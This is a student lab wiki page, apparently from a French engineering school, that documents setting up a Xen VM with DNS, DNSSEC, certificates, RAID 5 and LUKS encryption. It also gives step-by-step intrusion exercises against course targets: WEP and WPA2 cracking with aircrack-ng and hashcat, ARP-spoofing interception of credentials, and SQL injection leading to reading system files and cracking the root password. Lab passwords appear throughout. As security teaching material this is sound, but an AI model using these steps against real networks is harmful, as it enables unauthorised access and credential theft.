		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55083</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55083"/>
				<updated>2020-12-20T15:02:15Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Cassage de mot de passe WPA2-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
